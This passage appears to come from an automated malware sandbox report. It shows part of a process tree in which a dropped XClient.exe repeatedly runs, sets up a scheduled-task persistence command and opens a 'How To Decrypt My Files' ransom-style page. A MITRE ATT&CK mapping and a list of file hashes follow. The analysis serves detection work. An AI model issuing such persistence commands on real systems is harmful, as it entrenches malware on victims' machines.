                                                            • Executes dropped EXE
                                                            PID:4600
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            PID:4252
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2932
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:744
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            PID:4424
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1824
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            PID:5096
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:3696
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                              PID:5084
                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                              1⤵
                                                              • Modifies Internet Explorer settings
                                                              • Modifies registry class
                                                              PID:3716
                                                            • C:\Windows\explorer.exe
                                                              explorer.exe
                                                              1⤵
                                                              • Boot or Logon Autostart Execution: Active Setup
                                                              • Enumerates connected drives
                                                              • Checks SCSI registry key(s)
                                                              PID:3436
                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                              1⤵
                                                                PID:1624
                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                1⤵
                                                                  PID:4796
                                                                • C:\Windows\explorer.exe
                                                                  explorer.exe
                                                                  1⤵
                                                                  • Boot or Logon Autostart Execution: Active Setup
                                                                  • Enumerates connected drives
                                                                  • Modifies registry class
                                                                  PID:4308
                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                  1⤵
                                                                    PID:3604
                                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                    1⤵
                                                                    • Modifies Internet Explorer settings
                                                                    • Modifies registry class
                                                                    PID:440
                                                                  • C:\Windows\explorer.exe
                                                                    explorer.exe
                                                                    1⤵
                                                                    • Boot or Logon Autostart Execution: Active Setup
                                                                    • Enumerates connected drives
                                                                    • Checks SCSI registry key(s)
                                                                    PID:1624
                                                                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                    1⤵
                                                                      PID:3560
                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                      1⤵
                                                                      • Modifies Internet Explorer settings
                                                                      • Modifies registry class
                                                                      PID:100
                                                                    • C:\Windows\explorer.exe
                                                                      explorer.exe
                                                                      1⤵
                                                                      • Boot or Logon Autostart Execution: Active Setup
                                                                      • Enumerates connected drives
                                                                      • Checks SCSI registry key(s)
                                                                      PID:4712
                                                                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                      1⤵
                                                                        PID:1896
                                                                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                        1⤵
                                                                        • Modifies Internet Explorer settings
                                                                        PID:4632
                                                                      • C:\Windows\explorer.exe
                                                                        explorer.exe
                                                                        1⤵
                                                                        • Boot or Logon Autostart Execution: Active Setup
                                                                        • Enumerates connected drives
                                                                        • Checks SCSI registry key(s)
                                                                        • Modifies registry class
                                                                        PID:380
                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                        1⤵
                                                                          PID:2216
                                                                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                          1⤵
                                                                          • Modifies Internet Explorer settings
                                                                          • Modifies registry class
                                                                          PID:4528
                                                                        • C:\Windows\explorer.exe
                                                                          explorer.exe
                                                                          1⤵
                                                                          • Boot or Logon Autostart Execution: Active Setup
                                                                          • Enumerates connected drives
                                                                          • Checks SCSI registry key(s)
                                                                          • Modifies registry class
                                                                          PID:1208
                                                                        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                          1⤵
                                                                            PID:548
                                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                            1⤵
                                                                            • Modifies Internet Explorer settings
                                                                            • Modifies registry class
                                                                            PID:2004
                                                                          • C:\Windows\explorer.exe
                                                                            explorer.exe
                                                                            1⤵
                                                                            • Modifies visibility of file extensions in Explorer
                                                                            • Modifies visiblity of hidden/system files in Explorer
                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                            • Drops desktop.ini file(s)
                                                                            • Enumerates connected drives
                                                                            • Checks SCSI registry key(s)
                                                                            • Modifies Internet Explorer settings
                                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                                            PID:4936
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
                                                                              2⤵
                                                                                PID:3112
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffbd4e46f8,0x7fffbd4e4708,0x7fffbd4e4718
                                                                                  3⤵
                                                                                    PID:4516
                                                                                • C:\Program Files\VideoLAN\VLC\vlc.exe
                                                                                  "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\FormatBackup.mp4v"
                                                                                  2⤵
                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  PID:1164
                                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                1⤵
                                                                                  PID:4144
                                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                  1⤵
                                                                                    PID:4348
                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                    1⤵
                                                                                      PID:4236
                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                      1⤵
                                                                                      • Modifies Internet Explorer settings
                                                                                      • Modifies registry class
                                                                                      PID:4248
                                                                                    • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                      C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4288
                                                                                    • C:\Windows\system32\OpenWith.exe
                                                                                      C:\Windows\system32\OpenWith.exe -Embedding
                                                                                      1⤵
                                                                                        PID:4072
                                                                                      • C:\Windows\explorer.exe
                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                        1⤵
                                                                                        • Modifies Internet Explorer settings
                                                                                        • Modifies registry class
                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                        • Suspicious behavior: GetForegroundWindowSpam
                                                                                        PID:5612
                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
                                                                                        1⤵
                                                                                          PID:5680
                                                                                        • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5908
                                                                                        • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:3216
                                                                                        • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:428
                                                                                        • C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                          C:\Windows\system32\wbem\WmiApSrv.exe
                                                                                          1⤵
                                                                                            PID:4504
                                                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:2924
                                                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:3744
                                                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            1⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:852
                                                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                            1⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Adds Run key to start application
                                                                                            PID:3596
                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
                                                                                              2⤵
                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                              PID:4472
                                                                                            • C:\Windows\System32\schtasks.exe
                                                                                              "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
                                                                                              2⤵
                                                                                                PID:1944
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDD9A.tmp.bat""
                                                                                                2⤵
                                                                                                  PID:4620
                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                    timeout 3
                                                                                                    3⤵
                                                                                                    • Delays execution with timeout.exe
                                                                                                    PID:5684
                                                                                              • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                                C:\Users\Admin\AppData\Roaming\XClient.exe
                                                                                                1⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:5616

                                                                                              Network

                                                                                              MITRE ATT&CK Enterprise v15

                                                                                              Reconnaissance

                                                                                              Resource Development

                                                                                              Initial Access

                                                                                              Execution

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Persistence

                                                                                              Boot or Logon Autostart Execution

                                                                                              2
                                                                                              T1547

                                                                                              Active Setup

                                                                                              1
                                                                                              T1547.014

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Privilege Escalation

                                                                                              Boot or Logon Autostart Execution

                                                                                              2
                                                                                              T1547

                                                                                              Active Setup

                                                                                              1
                                                                                              T1547.014

                                                                                              Registry Run Keys / Startup Folder

                                                                                              1
                                                                                              T1547.001

                                                                                              Scheduled Task/Job

                                                                                              1
                                                                                              T1053

                                                                                              Scheduled Task

                                                                                              1
                                                                                              T1053.005

                                                                                              Defense Evasion

                                                                                              Hide Artifacts

                                                                                              2
                                                                                              T1564

                                                                                              Hidden Files and Directories

                                                                                              2
                                                                                              T1564.001

                                                                                              Modify Registry

                                                                                              6
                                                                                              T1112

                                                                                              Credential Access

                                                                                              Unsecured Credentials

                                                                                              5
                                                                                              T1552

                                                                                              Credentials In Files

                                                                                              4
                                                                                              T1552.001

                                                                                              Credentials in Registry

                                                                                              1
                                                                                              T1552.002

                                                                                              Discovery

                                                                                              Peripheral Device Discovery

                                                                                              2
                                                                                              T1120

                                                                                              Query Registry

                                                                                              6
                                                                                              T1012

                                                                                              System Information Discovery

                                                                                              6
                                                                                              T1082

                                                                                              Lateral Movement

                                                                                              Collection

                                                                                              Data from Local System

                                                                                              5
                                                                                              T1005

                                                                                              Email Collection

                                                                                              1
                                                                                              T1114

                                                                                              Command and Control

                                                                                              Exfiltration

                                                                                              Impact

                                                                                              Defacement

                                                                                              1
                                                                                              T1491

                                                                                              Replay Monitor

                                                                                              Loading Replay Monitor...

                                                                                              Downloads

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log
                                                                                                Filesize

                                                                                                654B

                                                                                                MD5

                                                                                                2ff39f6c7249774be85fd60a8f9a245e

                                                                                                SHA1

                                                                                                684ff36b31aedc1e587c8496c02722c6698c1c4e

                                                                                                SHA256

                                                                                                e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                                                                                                SHA512

                                                                                                1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadata
                                                                                                Filesize

                                                                                                150B

                                                                                                MD5

                                                                                                c81af07fcca8e86f93da02293cc0c709

                                                                                                SHA1

                                                                                                08770379ccd08098de554a34154b5be35313bd8e

                                                                                                SHA256

                                                                                                2611564ae05286d6b0ad7d70f3c8bea1be09a354b5c5b1d09c82074cf6189daf

                                                                                                SHA512

                                                                                                babd58d7b471665ee2d6415b6732f83a13f1fc9e047ef1a7e854a44a3bbfb376c6c60efac8ca113e1be8661a925596346e4229462b5472cd7f57d8599c1e69ac

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadata
                                                                                                Filesize

                                                                                                284B

                                                                                                MD5

                                                                                                fffe094a02db9e59bbe78c40df730280

                                                                                                SHA1

                                                                                                116b3d127f6ba8682238887cff992f4337af7c40

                                                                                                SHA256

                                                                                                8455f216e3e181c6697cdf44b347c5fae3c06d2e4f481d09a99099f4fd741ab7

                                                                                                SHA512

                                                                                                c10a3ebe3c8c8c4ecb8e1144e0420c5f5154d914e28a3b9946c4801c028e7508e8bc669beb20c2536d6bf7902281a601358dce35d293cd95f25009be98cf37ac

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadata
                                                                                                Filesize

                                                                                                418B

                                                                                                MD5

                                                                                                9ccbac4e95e2c091e2c1ebf3b3b4c56a

                                                                                                SHA1

                                                                                                5508eef06dd019339882d09bf0e4d2fa366022b0

                                                                                                SHA256

                                                                                                83c3f5fef53a24981ab793639dc30c9363af4ab24f3e51a41d065135466822f6

                                                                                                SHA512

                                                                                                abaa2ac98d77675aafb863ca9d03f123ae242996dcf3148db1d9a1a57a305e3beeaee14d27f7c3e5d849a8c7472ff3c1ac5e931d577623847b63bede9f5a00f4

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\metadata
                                                                                                Filesize

                                                                                                954B

                                                                                                MD5

                                                                                                40e027e2ed61fcabd56d1fe5a5a02071

                                                                                                SHA1

                                                                                                1d7e75dfd10603e6cb13c5ab8ce329fe3bb6cc22

                                                                                                SHA256

                                                                                                1b6dd9b326a2efeb511a34c42136a9604efa8dfdaf4b14fd31f09cc62f3551c5

                                                                                                SHA512

                                                                                                7015344ae67fe516133acf7251204bd080168eac3ee8d1ade0c2de8abb6fc4a4a69c3def8be98e76e5c256a198753acc16f91bc3e6df1fc8e418ca92a99c20f9

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\11ce04ef-81b6-4050-820a-4631b8a5b260.dmp
                                                                                                Filesize

                                                                                                838KB

                                                                                                MD5

                                                                                                22dd5c8b7fe3cc6e35c4d1356d9877b2

                                                                                                SHA1

                                                                                                a39e3bb290110c0269dc6bc31ef40e73dc1566af

                                                                                                SHA256

                                                                                                d4c14da191db81df06b25f60572ea1080c0cad3ac45f8f3fbfb8c595602c6c90

                                                                                                SHA512

                                                                                                7e0df7a6d65b0a76db58c5b98805f19f4e2cbf60ce19a713e356e38adb9076826a657c79b2bca1807b8729dcbba3ee1584c37e7bda3e31300d69f5e45df67a15

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\1c1b1c3b-49b0-4a09-879f-31d8b8eb8a1c.dmp
                                                                                                Filesize

                                                                                                842KB

                                                                                                MD5

                                                                                                8c3fd08fc88333cb7f8143226f375147

                                                                                                SHA1

                                                                                                d3b1aa8b5ebaf09fc073ba9abe2c6cc3de2effec

                                                                                                SHA256

                                                                                                49e7b7347a28bdf8db5ae6eb83a0b812f6c69c0096f2285fa2bf8173a26cd025

                                                                                                SHA512

                                                                                                2f773c6d7820b29757d9e215bdd39a7ce2cbfda6b15afdf39249eb0682474a52cab80a49dc01abb7c95839433c44bc490a39e0c4da90f38452ef0cb1f007466d

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\5261277d-49f6-4b04-9537-f4cea01e837b.dmp
                                                                                                Filesize

                                                                                                842KB

                                                                                                MD5

                                                                                                5253d919a6ba909e6de7da5bc5cfff4a

                                                                                                SHA1

                                                                                                374c185217f1c52e3cdbd7fc0f72853363135346

                                                                                                SHA256

                                                                                                eb13dec7e1ace566b0dbec735df50257f7d3d256c2c7292ec50616a97a5dedac

                                                                                                SHA512

                                                                                                48e019999aa4e0829d584a584e548a27fcb00c4fdc686f8234c0a174bb29dcc6342366873de9770de73b1d1425212d4f7df72ae8fb0b73c526b545688af26fc6

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\a55d2365-7175-4ffb-943c-ab9406695220.dmp
                                                                                                Filesize

                                                                                                842KB

                                                                                                MD5

                                                                                                20221c3d4fc2e1ee9b0e29eefbdc2bab

                                                                                                SHA1

                                                                                                6feaa423f9a85fc415195731fbc86a3315941175

                                                                                                SHA256

                                                                                                a030b9562e4d7f30d6a18356558b8804e98ea48898564ddf148102a9d0ff3172

                                                                                                SHA512

                                                                                                24fffd161d89cd6562c67f6ebf42a34affc4ae0fba54dd2735bc2474c41d7cafeed5b989dd2a377a7bbe36181b19a0267d3a1f6243e3e00a716b05f2660e1fdb

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\b20877c9-028c-4885-aead-09afe6bc5c10.dmp
                                                                                                Filesize

                                                                                                6.2MB

                                                                                                MD5

                                                                                                7cad8a66c63449c74550fded4e116510

                                                                                                SHA1

                                                                                                aefbf98350c71b8a25a5d82404a6bc0f92c46bf9

                                                                                                SHA256

                                                                                                0f6750f6d9567f159346c5f29ae40a790dbb7e79253f7a174de0888edfad0f3b

                                                                                                SHA512

                                                                                                233bb628908020504dd380883e80777e5efe3f972dd2ddce7cbcb45e16bd8ba8fc38d1a46558ede84d9cd308c65ae2660fc16865e67c06e89dc23e935f2610bc

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\bee11db2-eddc-4b5e-b8e6-1df947266a60.dmp
                                                                                                Filesize

                                                                                                842KB

                                                                                                MD5

                                                                                                5bd930884ef15c194452239be364c9ba

                                                                                                SHA1

                                                                                                0390510da21044b1190cfe7317bc29a98b96cac6

                                                                                                SHA256

                                                                                                6e039b4e0a7b52281e525c78e66d9a93b2157cf03bd1658eea1b90a21544089d

                                                                                                SHA512

                                                                                                4a73ccf8e5ad5d302c0aaea3754026fa2cb1bce56fffd52efdfc56948cc046f7bbd343a1ad7d20768c57c89e3028c9d0909c7921be9ed79a80dd9f06c60abcac

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\reports\ec03a719-d40f-492c-951c-6c5c5aadcdcd.dmp
                                                                                                Filesize

                                                                                                842KB

                                                                                                MD5

                                                                                                bf77c32356be19a8de67b7777615fdad

                                                                                                SHA1

                                                                                                4a717b8fa042aa64cfcfd144fd7e0cc1ce7870ec

                                                                                                SHA256

                                                                                                eb231566fb4477d8c180ad79e6677459bedda0de82bef3660d9df485b49e8bad

                                                                                                SHA512

                                                                                                7dc3e5b75ce5f863c9a3b94d83a6314d3e8b8e636597863752ab90a811403e51f087501108fff9411a68eb7a98f5454b545ccf45461b565800f25491c3b583d5

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.dat
                                                                                                Filesize

                                                                                                152B

                                                                                                MD5

                                                                                                e727e128a5f2b7c3c04f57c0c282dac9

                                                                                                SHA1

                                                                                                aeec4497295a82df098bf163d77a6a23ec4ad250

                                                                                                SHA256

                                                                                                e4f1538afb43da1111a0b1ef86689c4309a86ffee976a13b768405d7dceb1c1d

                                                                                                SHA512

                                                                                                bbca2c5ea4f02a1b63a1ecffc3028fbaf11bd109d568fa25b7cca1a47dbaadcc8eb246259003074bade60cadd1464306f0d49ca85ad5caa441cac2651017d002

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.dat
                                                                                                Filesize

                                                                                                152B

                                                                                                MD5

                                                                                                1315b0d49917bfca5143b7e9428239d3

                                                                                                SHA1

                                                                                                6c024ed15d3a607d2dd4cca6c508f6adb35dcbb1

                                                                                                SHA256

                                                                                                3052460c7ba1a72e9ded67d2e19209366a630f55f091bf958f71464e26d1bec3

                                                                                                SHA512

                                                                                                6f92efb5dcf42d2ecfbbcb82f7622357c0b9fde0f5298f037f7edac09a74353e10ab164b02df85c80483556161984ad0981d139dc4079c6d8b9e54ea9e3b79de

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.dat
                                                                                                Filesize

                                                                                                152B

                                                                                                MD5

                                                                                                31c7497dafbac53ad403ed7d98ef720a

                                                                                                SHA1

                                                                                                5bf708e9e2beedfcf34780df0605534f9dd8beb6

                                                                                                SHA256

                                                                                                88906894fd1d55287480c1b0bdb466c96240fc46e838d94ee4dd0a88e0fc197f

                                                                                                SHA512

                                                                                                8f6cffbbdcaa1e9f5bf445b6734d767781f755a92c5bd2d245f63504df0695982cec443410fd12d2204a5631b3478b74c680ee7e4d37118de1072c465b75d217

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Crashpad\settings.dat
                                                                                                Filesize

                                                                                                152B

                                                                                                MD5

                                                                                                762c6e1a6bf663746de9912a5bffb21c

                                                                                                SHA1

                                                                                                7ac521762cf1455929467e1504df6ebd50ec674f

                                                                                                SHA256

                                                                                                8a51ca17d844f8799df1cc4e2ff300bc2dc0d87f054d4ca63b20664762d693c6

                                                                                                SHA512

                                                                                                28718c4bdcfb91ddb5741ed1ab82d31ffb07ca4a3efaace54ba3d0045e7b8ac413a19f46701d3891a3890eff8a4069b222de2fdcddef505c35b1cc7261d671c9

                                                                                                Download Submit

                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\Edge Data\Default\GPUCache\data_1
                                                                                                Filesize

                                                                                                264KB

                                                                                                MD5

                                                                                                f50f89a0a91564d0b8a211f8921aa7de

                                                                                                SHA1

                                                                                                112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                                                                SHA256

